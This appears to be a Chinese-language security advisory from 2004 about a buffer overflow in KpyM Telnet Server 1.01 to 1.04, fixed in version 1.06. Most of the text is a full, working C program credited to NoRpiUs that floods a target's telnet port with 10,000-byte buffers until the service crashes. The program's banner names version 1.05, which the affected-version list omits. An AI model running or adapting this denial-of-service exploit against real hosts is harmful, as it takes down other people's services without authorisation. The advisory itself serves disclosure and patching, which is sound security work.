发布日期：2004-01-07
更新日期：2004-01-14

受影响系统：

Kroum Grigorov KpyM Telnet Server 1.04
Kroum Grigorov KpyM Telnet Server 1.03
Kroum Grigorov KpyM Telnet Server 1.02
Kroum Grigorov KpyM Telnet Server 1.01

不受影响系统：

Kroum Grigorov KpyM Telnet Server 1.06

描述：

---

BUGTRAQ  ID: 9379

Kroum Grigorov KpyM Telnet Server是一款基于Windows的telnet服务程序。

KpyM Telnet服务程序对用户提交数据缺少充分缓冲区边界检查，远程攻击者可以利用这个漏洞进行缓冲区溢出攻击，可以SYSTEM权限在系统上执行任意指令。

攻击者发送超过10000字符的数据给telnet服务程序，可导致程序崩溃，精心构建提交数据可能以SYSTEM权限在系统上执行任意指令。

<*来源：NoRpiUs
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

NoRpiUs 提供了如下测试方法：

/* By NoRpiuS
*  UNIX & WIN VERSION
*  USE -DWIN to compile on windows
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN
    #include <winsock.h>
    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif

#define PORT    23
#define BUFFSZ  10000  

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    u_char  *buff;
    struct  sockaddr_in peer;
    int     sd, err;
    u_short port = PORT;


    setbuf(stdout, NULL);

    fputs("\n"
        "KpyM Telnet Server v1.05 remote DoS\n"
        "by NoRpiUs\n"
        "e-mail: norpius@altervista.org\n"
        "web:    http://norpius.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUso: %s <ip>\n\n",argv[0]);
        exit(1);
    }



#ifdef WIN
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;


    buff = malloc(BUFFSZ);
    if(!buff)
    {
          fputs("[-] Can't allocate buffer\n", stdout);
          exit(0);
    }
        

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0)
    {
          fputs("[-] Can't create socket\n", stdout);
          exit(0);
    }

    printf("\n[+] Connecting to %s:%hu...\n",
        inet_ntoa(peer.sin_addr), port);
    err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0)
    {
          fputs("[-] Can't connect\n", stdout);
          exit(0);
    }

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0)
    {
          fputs("[-] No response from the server", stdout);
          exit(0);
    }

    memset(buff, 0, BUFFSZ);

    fputs("[+] Waiting for the crash.. ", stdout);
  
    while(1)
    {                
       err = send(sd, buff, BUFFSZ, 0);
       if(err < 0)
       {
          fputs("[-] Can't send\n", stdout);
          exit(0);
       }
       printf(".");
       close(sd);
       sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
       err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
       if ( err < 0 )
       {
           fputs("\n[+] Crashed\n\r", stdout);
           exit(0);
       }
    }
    
    close(sd);
    return(0);
}


u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE)
    {
        hp = gethostbyname(host);
        if(!hp)
        {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        }
    else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}

建议：

---

厂商补丁：

Kroum Grigorov
--------------
Kroum Grigorov KpyM Telnet Server 1.06不存在此漏洞，建议用户下载使用：

http://kpym.sourceforge.net/#4

浏览次数：3752
严重程度：0（网友投票）